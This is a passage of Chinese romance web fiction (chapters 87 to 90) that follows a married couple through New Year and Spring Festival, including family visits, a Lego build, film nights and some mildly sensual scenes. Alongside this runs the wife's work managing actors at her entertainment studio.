邵成章靠在浴缸边，呼吸开始粗重，沈灼最喜欢听他快要到的时候，忍不住哼出来的闷哼声。 不过等她累了，她就不管邵成章了，手一撒，自己靠在边上休息。 邵成章说她管杀不管埋。 “又不是不让你埋，你自己动。”沈灼枕在浴缸边上，懒懒地说。 哪次不是他动的？邵成章笑了下，他直起腰来，托着她往自己靠。 马上，平静的水面跟着沈灼的起伏摇摇晃晃。 好不容易洗完澡，回到房间，两个人才发现下雪了。 这是A市的第一场雪。雪花飘在空中慢慢悠悠的，索性他们也不拉窗帘了。 沈灼频频看向窗外，邵成章便掉了个方向冲着窗户，却没想到窗户的镜像十分清晰。 邵成章从身后压在她的后背，手从腋下穿过，托着她的下巴，沈灼就能将现在看得一清二楚。 一瞬之间，在空中飘荡的雪花变大了，下得又急又密。冷风呼呼地吹着，卷起雪花，让它们往上飘又往下坠。 第87章 眨眼就到了十二月的最后一天，天气阴沉沉的，似乎又有下雪的迹象。沈灼收好东西要走，走前还不忘对其他同事说如果对接确认完工作可以早点回家，不必再这里耗着。几个小姑娘高呼着“谢谢老板”。 她驱车去了姜珺家。往年这天，如果姜珺和沈灼都在A市，那她们一定会在一起跨年。这段时间姜珺在备考雅思，她们几乎没怎么联系。 听到电子锁滴滴的声音，姜珺从卧室冲出来，看到是沈灼以后，松了一口气，“吓死我了你。” “怎么，你家里还藏男人了啊？”沈灼笑说，“还是你以为那谁啊……” “才不是，我早把密码换了，就你和我妈是录的指纹好吧。”姜珺走到客厅，腿一屈仰躺在懒人沙发上看着她。 “准备的怎么样了？”沈灼问。 “还行吧，申请材料都差不多齐了，最近刷题手感也不错，小分7分应该没啥问题。”姜珺从上学的时候英语就很好，平时也一直看美剧英剧，加上她简直是个拼命三娘，做事又自律，沈灼相信她肯定没问题。 “对了，你怎么过来了啊？你和邵成章不会又吵架了吧？” 沈灼白她一眼，走过去坐在她身边，“我就只有和他吵架了才能来找你啊……今天可是12月31号。” “啊？”姜珺蹭一下直起身，惊讶道，“什么？31号了？我还以为才20号……再过几天我得申请学校了，我靠，时间过得可真快。” 姜珺要申请伦敦电影学院的编剧硕士，这一个月又准备雅思又准备作品集，忙得昏天黑地，经沈灼提醒，才觉时间像是被跳切了一般，怎么就直接切到了月底呢。 “是啊。”沈灼附和完了又问，“晚上想吃什么？还是老样子，吃火锅？” “啊？你晚上要在这吃啊。”姜珺惊讶道。 “不然呢？那我过来干嘛？” “你家邵成章没意见啊。”她笑说。 姜珺还真说对了，邵成章当然有意见。 沈灼“嘁”了声，“有意见也忍着，我管他呢。” 昨晚邵成章知道跨年她要来姜珺这儿，可是在她身上哼唧了半天。沈灼开始还好好哄他，说第二天一早就回来，保证他新年第一天一睁眼睛就能看到她，但邵成章还是一脸不情不愿。 别人都是和对象在一起过跨年，就她非得和闺蜜过呢。他不说话，就在她身上啃来啃去，把沈灼又搞烦了。 她脸一冷：“姜珺都要出国了，我去陪陪她怎么了。那你选吧，我是明晚回来陪你，元旦去她那待一天，还是明晚去她那，元旦在家里？” 邵成章心想，我哪个都不想选。 沈灼又补了一句：“别想别的，没有别的的选项。” “……那你明晚去陪她吧。”邵成章一脸勉强。 沈灼笑着捏捏他的脸，隔空给了他一个吻：“真乖。” 邵成章哼一声，翻过身去背对着沈灼。沈灼在刷手机，也没管他，直到要睡觉了，他还是保持着背对她的姿势。她用脚轻轻踢他的小腿，邵成章并没反应。 “我想你抱着我睡。”沈灼戳他的后背，和他撒娇，但是邵成章还是一动不动。 沈灼典型的吃软不吃硬，她这样邵成章还不搭理她，她也和他杠上了，“什么意思？那以后也都这样，各睡各睡的是吧？行吧，我也没意见。” 沈灼干脆也背过身去，枕边是他们去宜家买的猩猩玩偶，她拿过来直接抱在了怀里。 没一会儿，她听见窸窸窣窣的声音，她的后背贴在了坚实又火热的胸膛上，腰上还多了一只大手，把她怀里的猩猩抽走了。 身后响起委委屈屈的声音，“你不是说要抱着我睡吗？” 沈灼反问他：“不是你不让我抱的吗？” “我还什么都没说呢，你就给我判罪了。”邵成章撇撇嘴，“我就不能生一会儿气吗？” 沈灼一听赶紧翻过身去，面对着他，笑了笑：“能能能，那现在生完气了吗？”说罢，又往他怀里挤了挤。 邵成章抿着嘴巴没回答她。 邵成章的体温高，加上地暖供的足，即便盖得羽绒被子不厚，可他晚上会觉得热，通常会赤着上半身，只穿一条睡裤睡觉。他每回侧着身睡，胸肌只要一挤，就会出现一条深沟。 沈灼每次看见都忍不住埋进去，然后再捏一捏。 男人的胸和女人的不同，大部分都是肌肉和少量 脂肪，像邵成章这样把胸肌练得饱满又不夸张又漂亮的，几乎都是肌肉，放松状态下是软乎乎的，手感特别好。 沈灼摸自己的没什么感觉，可是她就很喜欢去捏他的。 “邵成章。”他没应。 “宝宝～”还是不应。 “老公啊～”仍然沉默。 沈灼没招了，突然脑子里不知道怎么一闪，开口喊他，“哥哥～你理理人家啊。”她感觉自己像是个大色魔，嘴上调戏着，手还捏着他的胸肌。 邵成章是第一次听沈灼喊他哥哥，终于忍不住：“你叫我什么？” 沈灼一愣，随即又故意夹着声音，特别做作地喊他一声：“哥哥～” 邵成章想笑又克制着，沈灼头微微后仰，能看到他嘴巴有点微微的颤抖。 “别招我。”身体里的那股燥火又要被她勾起来，他沉声道：“睡觉了。” 沈灼马上要来生理期，来前和结束后三天他都忍着，毕竟她的日期也不是特别准，而且这时候做对她的身体也不好，容易造成感染还容易黄体破裂。 “哦。”沈灼笑了下，感觉自己好像知道邵成章新的命门了。 沈灼和姜珺还是吃的火锅，电视开着，上面播放着今年的跨年晚会，表演有点无聊，放着就听个响儿。 “关司予没去录个晚会吗？”姜珺随口问。 “A市电视台问过来着，但是他这段时间都在拍戏，昨天才杀青，实在是抽不出来时间。”沈灼说，想起关司予和麦序的事她就头疼，叹口气。 姜珺问她怎么了，沈灼没说麦序的事，毕竟这是关司予和麦序的隐私，只说关老爷子想让他回家经营公司。 “新年愿望有了，希望下辈子我也能投胎到一个如果勇闯娱乐圈失败就得回家继承家业的富贵家庭里。”姜珺双手合十，“拜托拜托。” 沈灼无语地笑了，手边的手机嗡嗡两声，她拿起来一看，是邵成章发来的信息，问她在干什么，吃饭没有。 沈灼给他拍了一张照片，示意自己正在吃。 邵成章语气酸溜溜的：“真好，有人一起陪你吃饭，不像我，一个人孤零零的。” 沈灼：“……”她放下手机不打算回他了。 “邵成章啊？”姜珺一下子就猜到了。 “嗯，不用管他。” 结果手机隔几分钟振动一下，嗡嗡响。邵成章想，反正也没说不让他找她啊。沈灼嫌振动的声音烦，直接设置成了免打扰。 姜珺直接笑出声，“你今晚不用陪我了，一会儿吃完就回家吧，要不然某人急死了。” “那不行，我们说好了的。” 姜珺笑笑：“我有大房的气度，我不和他计较。” 沈灼也笑了：“快吃你的吧。” 吃完饭，收拾好碗筷，姜珺就轰她回家，尽管沈灼说了没关系，可她坚持：“现在这个点我还能再做套听力，你先回去吧，等我考完了再找你。” “行吧，那你也别太累了啊。” “嗯。”姜珺点点头，挽着沈灼走到门口，看她换鞋，“灼子。”她突然喊她。 “嗯？” “你开心吗？”姜珺问，“和邵成章结婚，和他在一起，你开心吗？” 沈灼抬头看她，几乎没有犹豫地笑着说：“开心。” * “骚扰”一番老婆之后，邵成章为打发时间拿出一套乐高，是沈灼送他的今年新出的法拉利SF-24F1赛车模型。邵成章其实很喜欢拼乐高，可以让他按照步骤一点一点组装，刨除杂念专注眼前。 他拆开，里面有十三个零件包，略微翻了一下说明书，估摸自己在零点之前应该能拼完。他打算给沈灼发完零点祝福，就去睡觉。 在拼到第二个零件包的时候，他没想到沈灼竟然会提前回来。 “老婆，你怎么……”他笑着起身上去迎她。 沈灼“啧”了声，“姜珺让我回来的呗，你看看人家，你再看看你，小气吧啦的。” 邵成章开心地咧嘴笑，听沈灼说他小气也不恼：“我就是小气吧啦的。” “你在家干嘛呢？”她进家门的时候感觉家里静悄悄的。 “拼你送我的乐高。”邵成章牵着她，“你要不要和我一起拼？” “好啊。”沈灼自己还真没拼过乐高，她不是动手能力很强的人，在这上面也没什么耐心，但她愿意陪着邵成章一起拼。 沈灼在他旁边坐下，先拿过厚厚一本的说明书，她发现邵成章拼装这些竟然不需要看说明书的。他给她拆开一包零件，让她先拼，结果沈灼根本无从下手，只好翻着说明书，一点点扒拉组装。 邵成章拼完第二组，看到沈灼的进度，忍不住笑了。 沈灼瞪他，不服气道：“笑什么，我第一次拼好不好，看不懂也很正常。” “嗯。”邵成章嘴巴闭起来不露出牙齿了，但嘴角还是没放下来，“你怎么会想到送我这个呢？” 沈灼哼了声：“你都不知道我想出这些礼物有多难。不过来这的第一个晚上，我就看到书柜上放了好几个乐高模型，虽然你没和我说过，但感觉你应该会喜欢。” “嗯，很喜欢。”他的老婆总是可以注意到这些小细节。 沈灼实在是没耐心，尤其邵成章还坐在她旁边看着她拼装，她还有点紧张，于是推过去让他自己拼，她就只在旁边看着。 两个人拼了将近四个小时，还真在零点之前拼完了。 “好帅啊。”沈灼看着拼完的法拉利模型，感叹一句。 “谁帅？” 沈灼抬头看他，笑说：“你帅，你拼的模型也帅。” 邵成章美滋滋地将模型放到书柜的格子里。 A市的CBD有商场会组织跨年灯光秀，每年总是很多人，在快要到零点的时候，就会自发地倒计时。沈灼隐约听到一点点动静，跑去阳台看，下面一片灯火通明。 “邵成章，快来！”她大喊，冷风吹着也顾不得进去拿外套了。 开始倒计时了，“十、九、八……” 邵成章拎着她的外套过来给她披上，从背后抱住她。 “……三、二、一！” “老公，新年快乐！” “老婆，新年快乐！” 第88章 新年第一天，邵成章和沈灼先去了一趟益海山庄。自从邵成章和沈灼结婚后，俩人只回去过一次，大哥给他打电话，说怎么也该回家看看。 但俩人没久留，不光邵成章不喜欢去益海山庄，沈灼也不愿意去。迟女士也在家等着他们过去吃饭，好在邵松也算通情达理，想到迟女士一个人常年居家，也不好反驳。 近两天的天气预报时不时预警有大雪，叮嘱人们出行注意安全。昨日阴沉了一天也没见飘雪花，没想到突然之间就开始落雪，雪花片又大又密，没多久就盖了地面上白白一层。 在迟女士家吃完饭，大雪还不见停的趋势，迟女士看了看窗外，催他们趁早回去，怕雪再大路不好走。 在车里，沈灼被暖气烘得昏昏欲睡，本想回家休息一会儿，没想到上楼后又精神了。看着窗外的鹅毛大雪，沈灼突然特别想看《暮光之城》这部电影，冷冷的色调实在是太适合冬天窝在家里看了。 邵成章说要和她一起看。即使沈灼说了这不会是他喜欢看的类型，但他很坚持。 电影看过很多遍，但每次看到卡伦家族，爱德华出场，沈灼无一例外地感叹一句好帅。看到爱德华和贝拉在森林里告白，她呜呜呜地哼唧着。 邵成章低头看了怀里的人一眼，不理解但又感觉怪可爱的。 看完以后，沈灼问他怎么样。按照邵成章平时看电影的标准，她猜测他大概会挑出剧情、逻辑、设定上的许多毛病，结果邵成章却问：“为什么爱德华活了一百多岁，会喜欢上一个十七八岁的少女？” “……”沈灼无语，“都说了这是玛丽苏爱情电影，你不要带脑子去扣这种细节啊！” 邵成章：“好 吧，十分没有说服力。” 沈灼哼了一声：“虽然这说不上是部多么优秀的电影，但是有时候就想看点这种俊男美女无脑小甜剧。就像健康餐吃久了，总想吃点垃圾食品解解馋。” 沈灼不喜欢二三部的剧情，三角恋的剧情看得她无语又窝火，直接跳到了 第四部。邵成章还坐在沙发上没动，沈灼问：“你还要看吗？” 邵成章点点头：“看啊。” “不喜欢看还看啊。” “嗯。”邵成章一副理所当然，“和你在一起干什么都可以。” 沈灼挑着抹笑“嘁”了声，她简单和邵成章说了下剧情，然后从 第四部开始放映。 当贝拉穿上婚纱走向爱德华的时候，沈灼感叹：“好漂亮啊贝拉，真是看多少遍也不会腻。我和你说，我小时候第一次看到这的时候，还幻想过要是以后结婚，一定也要这种森林婚礼呢，入场曲一定要是《AThousandYears》这首歌来着。” 沈灼说这话的时候完全没多想，纯粹是看得沉浸有感而发，然而说者无心，听者有意。 邵成章想，他和沈灼要有一场婚礼。他想告诉所有人，沈灼的存在；想看她穿一身白纱的样子；想郑重地和她说一辈子至死不渝不离不弃的誓言。 走神的工夫，电影已经演到他们去度蜜月了。邵成章不想看他们接吻，将沈灼的下巴一抬，吻了上去。 亲了好一会儿，邵成章倒在沈灼身上，“你也是吸血鬼吗？”沈灼忽然笑着问。 邵成章顺着她的目光看向屏幕，看到爱德华在贝拉身上留下的痕迹。他想起有时候他用得力大了，沈灼身上也会有指痕。 邵成章枕在她的胸口，不答反问：“如果我是吸血鬼，你会怎么样？” 沈灼说：“我会和贝拉一样，选择被你咬一口，也变成一个吸血鬼一直和你在一起。” 邵成章心满意足地笑了声，他拉沈灼起来，怀抱着她，继续陪她看。 * 进入新的一年，所有停滞的项目一夜之间似乎都突然有了结果。 沈灼收到了安托万的邮件，告诉她他最终还是选定关司予为他影片的男主角，WUNSEE那边的pr也来找沈灼洽谈合作，想让关司予担任品牌大使。 沈灼本该很高兴，如果没有关司予和麦序那一档子事。关司予元旦当天就飞回来了，沈灼让他在家休息了几天后来工作室一趟。 想必关海也和他说了什么，关司予一来，就开门见山地告诉她自己暂时不会退出娱乐圈。 沈灼承认自己没有那么高尚，听到他这么说，第一反应还是很高兴的。这说明项目继续推进，安托万那边的片酬和WUNSEE的合作费几乎就可以到手。 “沈灼姐，你不考虑签编剧导演之类的吗？”他忽然说，“雅琪姐好像要签下麦序。” 沈灼眯起眼睛：“你想让我签麦序进公司？” 关司予摇头，他在沈灼的工作室，麦序一定不会来的。他道：“你想签她，她也不会答应你的。只不过签导演和编剧公司自己制作项目，成本肯定会更便宜。” 沈灼当然有过这个想法，她和姜珺还说起这件事，干脆签下姜珺得了，结果还被一口回绝。“等我学有所成归来，你不要我，我也要赖在你们工作室。”姜珺是这么说的。 沈灼对关司予道：“先不说签编剧和导演这个，我要问你，有没有需要对我坦白的事。” 关司予挑眉：“比如？” 沈灼正色道：“你有没有谈恋爱？”如果关司予和麦序真在一起，她就决定将照片给他看，关司予是成年人了，知道后面应该怎么做。 然而关司予怔了下，却说：“没有。” “真的？” 关司予点头，和沈灼保证。 “司予，你要知道在你身边会有无数双眼睛盯着你。我不反对你谈恋爱，但是如果你隐瞒不说却被媒体爆出来，我会考虑终止我们的合作，知道吗？” 关司予答应她：“好。” 随后沈灼告诉她新确定的两个项目，关司予表示全力配合。沈灼迅速给对方回复，进入走合同阶段。 没过几天，《野河》的第一版预告出来，沈灼找到之前一个营销大V，花了些钱，让对方将杜怀青和林雨棠的镜头单独截了出来，发了一条角色CP向的微博。 关司予和蒋芮再次被带上了热搜，不过这次的讨论很利好。 网友评论纷纷： “啊啊啊是伪骨科吗？” “健康的恋爱固然动人，但畸形的爱恋实在精彩啊！” “他们俩好像还是同一公司的，还二搭，现实里也是姐弟啊，我先磕为敬[狗头]” Nadia那边的宣传乘胜追击，将关司予和蒋芮的对手戏投放在各大平台，搭配“演技爆发”“姐弟恋”等标签。 《野河》自带热度，加上有禁忌之恋的剧情，热度维持了几天，关司予和蒋芮全平台粉丝都涨了不少。 沈灼的老师给她推荐了两名小姑娘，今年都还在大三，其中一个已经接到了一部青春院线电影，正巧寒假开机。沈灼在她们考试周的时候去看了下她们的舞台考核，虽然表演还青涩了些，但声台行表总体还不错，而且台词念得可是比一些演员清楚多了。 两名小姑娘目前都还没签公司，沈灼请她们吃了顿饭，说明了来意。 小姑娘虽然没立即答应，但是都很兴奋，沈灼让她们回去慢慢考虑，若是想签约随时找她。 回家路上，沈灼接到了姜珺的电话。她的雅思考得还不错，拿到了7，学校也申请了，在这段等面试的时间里，她可以放松一下了。 沈灼直接去她那儿，说要庆祝。两个人出去嫌冷，直接在家里点的外卖，姜珺告诉她多看几眼这个房子，马上这里就不属于她了。 沈灼惊讶：“为什么啊？” 姜珺说：“我把它挂出去卖了。” 这套房子现在估值能卖个200到250万差不多，姜珺要留一半出去留学，剩下一般放定期里，每个月涨点利息，给她妈妈当养老钱。 “你钱不够和我要啊。”沈灼说，“你卖房子干什么，你以后不回来住了啊？” “住我妈那儿去呗。”姜珺耸肩，无所谓地说，“我这离市里不近，也不是很方便，以后我就住她那儿。” “不会还是因为梁屿琛吧？”沈灼送姜珺回来的那次，看到过门口有黑色的男士拖鞋，说明梁屿琛应该来过很多次。 姜珺犹豫了下，说：“有一定关系，但主要还是钱。我攒的那点钱只够个存款证明，出去应该还是要花不少。你工作室刚起步，正是要用钱的时候呢，我这边自己能搞定就搞定了。对了，你今年过年还在A市吗？” 沈灼点头：“应该吧，怎么了？” “我打算今年带我妈去海市过年，我这出去还不知道什么时候能回来一趟，想带她出去旅游。” “年前几天刚好《野河》开播，我估计年底得挺忙的。”沈灼有点可惜，“现在工作室没那么多人，大家工作量都挺大的。” “没事儿，我给你带海鲜特产回来。”姜珺笑笑。 * 沈灼和邵成章几乎是前后脚进家门。她知道最近邵成章也很忙，春节期间Dreamora要举办一个新IP预先展，但是细节一直都没有落实好。 沈灼晚上洗了头发，邵成章说要给她吹，沈灼没拒绝，她坐在床边回复消息。Nadia给她发了一条链接，是一组某男艺人的工作室发的图。Nadia觉得关司予可以换一换风格。 沈灼一张张看过去，对方也是寸头造型，风格偏硬汉，当然也少不了露出练好的身材，粉丝都在夸工作室这次真大方。 邵成章垂眼，就看见沈灼在看肌肉男，看了还不算完，还保存下来是怎么回事儿？ 头发吹干，邵成章将吹风机收好，坐回她身边。 “好看吗？” “啊？”沈灼一愣，“什么好看吗？” “你刚刚不是在看肌肉男吗，我都看见了，他长得好看吗？” 沈灼笑了下：“你不都说看见了吗，你说好不好看？” “我练得不好吗，你还要看别的男人？” “哎，你别冤枉我，是我们宣传总监发给我艺人拍摄参考的，我这是工作。” “你每次都说是工作。” “那你自己看聊天记录嘛。”沈灼将手机递过去。 邵成章不接，他哼一声转头，起身上床，“我才不看。” 沈灼苦笑不得，她爬上床躺他身边，伸出手指挠挠他的下巴：“小哥哥，看看腹肌。” “不给。”邵成章盖着被子不动。 “我偏要看。”沈灼直接起来跨坐在他身上，把被子往下 一掀。邵成章八块腹肌线条十分明显，沈灼手放在上面，白皮之下是硬硬的肌肉。 口是心非，明明一直在用力绷着肌肉等着她，沈灼忍不住抿着嘴巴笑。 邵成章突然一个翻身，将沈灼摔在床上，压着她，把她的手放在自己胸口，小声在她耳边说：“我练的比他好多了。” 第89章 时间过得飞快，一晃到了年关。沈灼把关司予的几个合同都落停了。《野河》正式播出，不过蒋芮和关司予的戏份出来的晚，整个宣传期已经做好了规划，在平台上按时发布就可以。 工作室有几个小姑娘是外地的，沈灼直接年前多放两天假，让她们提前回家，只要保证能随时找到人，有工作线上办公就行。 邵成章年二十九才开始休假，下午陪着沈灼一起去商超买点零食屯着，还有要贴的福字。他往年过年从来不准备这些。 邵成章拿着福字站在门口，沈灼在后面站着指挥他以防贴歪了。 他说：“这还是我第一次贴福字。” “啊？”沈灼睁大眼睛，“你过年都不准备这些东西啊？”虽然现在过年的年味儿淡了，但是沈灼还是喜欢捯饬，生活总得有点仪式感和信念感。“贴吧，这回正了。” 邵成章大手从上往下，从左往右捋平，将福字贴好，“以前大年三十这天也是在工作，回来之后就睡觉，第二天醒来去益海山庄拜完年，对我来说这个年就算过完了。” 手贴在指纹锁，门开，沈灼挽着他进门。 轻描淡写，但沈灼听着有点心疼，“我还以为你都会去益海那边，要不然今年你跟着我回家呗，咱们去我妈那过年。” 邵成章笑说“好”。 沈灼点点头：“那以后你就是我们沈家的赘婿了。宝宝，你放心，我一定会对你好的。” “你对我不好，我就去找妈妈告状。” 沈灼“啧”一声，她还真不敢说迟女士现在心里更向着谁。 自从她建了个三人的相亲相爱群，迟女士再也不单独找她了，有什么事都在群里说。同时迟女士还是转发视频号爱好者，有时候她一天能发七八个视频号，沈灼嫌烦，直接免打扰。邵成章可是殷勤，句句有回应，哄得现在迟女士在群里一开口就是“成章啊……”仿佛忘了她这个女儿存在一样。 “你就说我哪儿对你不好了？我对你不是最好的吗？” “嗯。”邵成章不知怎么，心里突然就有了底气，亲了她一口说，“你是这个世界上对我最最好的人。” * 知道邵成章要去沈灼娘家过年，邵松表情不是很好，这像什么话？最后他提议直接将迟女士接过来，大家一起过年。 沈灼推脱迟女士已经在家开始准备了，兰芙玉这会儿也帮着说了两句这才作罢。邵松让田叔拿些礼品送到邵成章车上，全是些名贵的补品。 沈灼说不用这么多，被邵成章拦下说没事，她就看着卡宴的后备箱一点点被填满了。 迟女士下午在家备年夜饭和饺子馅，有全素的，也有荤馅的。现在不比小时候过年，也不守岁了，年夜饭晚上吃过后就开始包饺子，差不多十点来钟包出来象征性地吃上几个，看会儿春晚，玩会儿手机，差不多就该睡觉了。 沈灼都想不起有多少年没吃过硬币饺子和糖饺子了，今年迟女士准备了十枚硬币和八块酥糖，说吃到了明年肯定甜甜蜜蜜发大财。 邵成章说一枚硬币一个数，吃完了可以找他来换钱。沈灼一听眼睛都亮了，团圆饭都收着吃的，就想晚上多多吃到几个硬币饺子。 迟女士边笑边说：“你就光长岁数，不长心智，这么大人了还和个小孩儿似的，惦记着吃钱。” 沈灼哼唧着反驳：“我这明明是保持童真。” 盛出来七盘饺子，每盘饺子都不多，沈灼左瞧右看的，看准一个刚想去夹，被迟女士打了下手：“别挑挑拣拣的，吃哪儿盘就拿哪儿盘。” 沈灼撅着嘴拿过眼前这盘，挑出那个最有眼缘的饺子，一口咬下去，甜丝丝的。 “是糖的啊……” “糖的多好，甜甜蜜蜜。”迟女士笑。 邵成章夹起一个，咬开，油亮银闪的硬币在里面裹着，他用筷子夹出来放一旁。没一会儿，迟女士也吃出来一个钱饺子。沈灼已经吃了三个了，什么都没有，这一比心里就不平衡了。 迟女士说：“你们俩一个糖一个钱多好。” 沈灼说：“不行，明年我也得赚钱！”尤其是现在她还是老板，怎么都得有个好兆头。 邵成章给她夹了一个饺子，笑着看她，“老婆，吃这个。” 沈灼半信半疑地咬一口，牙齿碰到一个硬硬的东西，她吐出来，筷子尖一戳，看到了一枚硬币。她咧着嘴冲邵成章笑。 “这下吃着钱了，开心吗？”他问。 沈灼和弹簧小摆件似的，不停点着头。 沈灼一共收获了四枚硬币，有两枚是自己开出来的盲盒，剩下两枚分别是邵成章和迟女士挑给她的钱饺子吃出来的。 她夹着声音，冲着二人鞠躬：“谢谢妈妈～谢谢老公～”她拿去要洗，邵成章把他自己吃出来的那枚硬币也给她了。 洗好硬币，朝着邵成章展开手心，“说好了，五个硬币五万哦。” 邵成章笑着点头，拿过手机给她转账，他记得她说不喜欢微信转账，总说提现手续费贵，于是给她转到了银行卡里。 沈灼越过他的肩膀看到迟女士从里屋出来，先开口说：“妈，过年好呀。”邵成章转身也和迟女士说了句“过年好”。 “诶，过年好过年好。来，这是你们俩的红包。”迟女士笑眯眯地将红包递过去。 沈灼“芜湖”一声，双手接过，捏了捏，还挺厚的，“谢谢妈妈！” 邵成章微微一怔，随后一笑，说：“妈，我就不用了。”他已经很久没有收到过来自长辈的红包了。 “怎么不用呢，在我这，你们俩永远都是孩子，收着吧。” “就是，妈妈给的，收下。” 老婆一发话，邵成章便不再推托，双手接过红包，很开心地说：“谢谢妈。” 发完红包，迟女士就准备洗漱回屋睡觉了。沈灼一手拿着红包，一手伸到邵成章面前讨红包，“邵成章，过年好呀。” 邵成章大手握住她的手，“老婆，过年好。” “嗯？那我的红包呢？” 邵成章挑眉，“叫我什么，就要红包？” 沈灼眼珠子一转，踮着脚在他耳边吹气：“叫哥哥，给不给？” 邵成章单手直接揽住她的腰抱起来了，沈灼下意识就抬腿夹住他的腰。洗手间隐约传出来流水声，她这才意识到这不是在悦澜湾。 “你快放我下来！”她拍在他肩膀上，可不想让迟女士看到，尴尬死了。 邵成章手离开她的腰，在后面虚虚环着，“明明是你挂在我身上，可不是我不放你下来。” “你——”说着她松开一只手，想要下来，却又被邵成章托住屁股，还往上掂了掂。趁着迟女士还没从洗手间出来，他先进了沈灼的小卧室。 门没关，灯也没来得及开，只靠着窗外那点淡淡的冷白月光映着房间。 邵成章将她放到床上平躺着，手撑在一侧俯身盯着她，他不敢大声说话，压着声音说：“再叫一次就给你。” “不叫了。”沈灼头一偏，倔着说，“我还不要红包了呢。” “不能不要。”邵成章手撑换成肘撑，拉近了些距离。另一只手在她腰侧挠挠，沈灼发痒屈起身子，手推着他小臂，不让他继续。 邵成章大手一抓，将她两只手直接高举头顶扣住，在她耳边吹气。 “好好好，我叫还不行么！”沈灼缩着脖子受不了，终于妥协，特别小声地喊他：“哥哥。”沈灼觉得和他这样悄咪咪地说话，感觉和在偷情似的，忍不 住笑起来。 邵成章听得意犹未尽，刚想让她再喊几遍听听，就听到迟女士在喊人。邵成章只好放开她，起身走出去找吃迟女士。 迟女士家是老小区了，供暖没有那么好，怕小夫妻俩晚上冷，又给他们从大衣柜里找出条被子来。邵成章走进她的卧室，接过一床厚厚的棉花被。 迟女士嘱咐他们早点睡。互道晚安之后，邵成章抱着被子回了房间，早不见沈灼的人影了，她在洗手间洗漱。 邵成章敲门进去和她一起，他从她的化妆包里拿出牙刷，沈灼顺手就把手边的牙膏给他挤在牙刷上。沈灼先洗好回房间，钻进被窝里忍不住倒吸冷气，冰凉。 等邵成章回来，她就直接钻他怀里，手放在他身前贴着，感觉贴着的地方不热了就换个地方接着贴。想起他还没给她发红包呢，她提醒道：“你别忘了，我要数字吉利的红包。” 邵成章忍俊不禁：“封建迷信小财迷。”应她要求吉利的数字，他给她发了188888。 沈灼手机偶尔嗡嗡振动两下，她猜大概是同事朋友给她发的拜年消息，但她现在一点都不想理。她就想这样静静地窝在邵成章的怀里。 “邵成章。”她忽然出声喊他。 “嗯？” 沈灼微抬着头看他，“你知道吗，我好像很久没有这么开心地过过春节了。” 只有小时候，她才期待过年。那时候，沈复荣还没离开，每到吃饺子的时候，她把自己吃到撑，吃到吐，就为了多吃几个饺子钱，沈复荣也会把有钱的饺子挑给她。 “我是不是从来没和你讲过我爸的事？”她问，没等他回答，她便说起来，“嗐，其实也没什么好说的，他在我高一那年扔下我和我妈走了。在我印象里，他一直对我特别好，有求必应，但我妈就很强势，两个人也经常吵架。他走之后我特别想他，就觉得是我妈把他逼走的，于是就和我妈对着干，特别叛逆。后来长大，才慢慢体会到一个女人同时照顾家庭和工作，有多么不容易，我和我妈的关系才开始缓和。” “但是我又从一个极端进入到另一个极端，我开始恨我爸，觉得他是一个不负责任的男人，并且让我坚定了绝对不要结婚，不能依靠任何一个男人的想法，我只能靠自己，因为我不想和我妈一样。可是后来我竟然很意外地同意和你相亲，还结婚了。有时候感觉命运好神奇啊。” “那说明我们命中注定就要在一起啊。”邵成章问，“老婆，和我结婚，你有后悔过吗？” 沈灼想了想，很确定地说：“没有，而且我还时常感觉，和你结婚真好。你让我知道婚姻其实是有不同的样子的，不是所有的男人都和我爸一样。现在提起他，好像也没有什么特别的感觉了，不会觉得怨恨，愤怒。他对不起的，只有我妈。” “那你有想过找到他吗？” “没有，我只希望大家现在各自安好吧，谁都不要打扰彼此的生活。”过去的沈灼从来没有想过有一天她还可以心平气和地提起沈复荣，还能给他送上祝福。 她发现，她比以往任何时刻都更喜欢现在的自己。 因为她可以感受到来自邵成章的，来自姜珺的，来自迟女士的爱意。 因为被爱包裹着的人，心也会是柔软的。 第90章 本计划春节的假期不会那么忙碌，但没想到随着《野河》的播出，关司予和蒋芮在剧中的饰演的姐弟爆火，一夜之间，各种CP向的剪辑和同人文学就冒了出来。沈灼趁着这个热度，和Nadia紧急开了个线上会议。 她们有想过这对角色会小爆，但没想到会这么出圈。剧宣那边也过来敲沈灼，想要安排关司予和蒋芮的剧宣直播。 沈灼坐在书房里一天，除了吃饭和上厕所，屁股几乎就没有离开过椅子。邵成章给她洗好蓝莓送来，沈灼一边看着电脑一边拿着手机和对方发语音，空不出手来，邵成章就一粒一粒地喂她。 有电话进来，她手推开邵成章：“谢谢宝宝，我不吃了。”邵成章放下蓝莓，坐在对面盯着她。 沈灼正在和对方沟通物料的剪辑，有几个细节明明她说的已经很清楚了，对方总是理解不到位，她语气渐渐不耐烦起来，但还是尽量克制着。好不容易挂了电话，抬眼一道灼热视线正紧盯着自己。 她很讨厌别人看着自己工作，就像是考试的时候监考老师非得站旁边看看考生答卷一样。她眉头一皱，有点烦躁：“你老看着我干嘛呀，你没有自己的安排吗？” 邵成章嘴一撇，“哦”了一声，起身离开了。沈灼现在倒不出空来管他，她还得和关司予还有蒋芮联系，确定双人直播的时间。 等合上电脑，已经是深夜了。沈灼忍不住打了个哈欠，伸了个懒腰。瞥到桌上剩的小半盘蓝莓，她顿了顿，晚上是不是凶邵成章来着。 完啦。她咬咬下嘴唇，起身走到门口探出头去，发现客厅已经没人了，只留了一排小射灯。沈灼将蓝莓放回冰箱里，然后走向卧室。 卧室的门没关，依靠在床头看书的邵成章听见沈灼踩着拖鞋走近的声音，偷偷瞄了一眼，余光瞥到她进来便收了眼神，假装地翻了一页书，装作没看见她。 他想，他可是有自己的安排呢。 沈灼看他这样就知道他又生闷气了，偏偏她装作无事发生，也不和他打招呼，拿了睡袍就准备去洗澡。 邵成章听见洗手间的门咔哒一声关上，瞬间抬起头望着洗手间的方向，他眉头一皱，这是什么意思？ 进来也不和他说话，她是打算不理他了？是怪他打扰她工作了吗？明明他只是坐在那里什么都没做……难道老婆生气了？ 邵成章书也看不进去了，开始想东想西。 最后得出一个结论，老婆一定是工作太累了。临时加班了一天，他应该更加体恤老婆才对，怎么还不懂事地去分她的心呢。 沈灼哪知道邵成章这么多的心理活动，她刚洗完澡，正在洗手间穿她新买的内衣，紫色的蕾丝透明款式。 她还担心紫色会很老气，没想到十分衬肤色，又御又性感。 裹上睡袍，她走出去。刚掀被上床，邵成章就放下书贴了过来，手搭在她的腰上，脸埋在她的颈侧。沈灼今天新换的润肤乳，是玫瑰味的，邵成章深吸一口气，鼻息之间都是淡淡的玫瑰香味，真勾人。 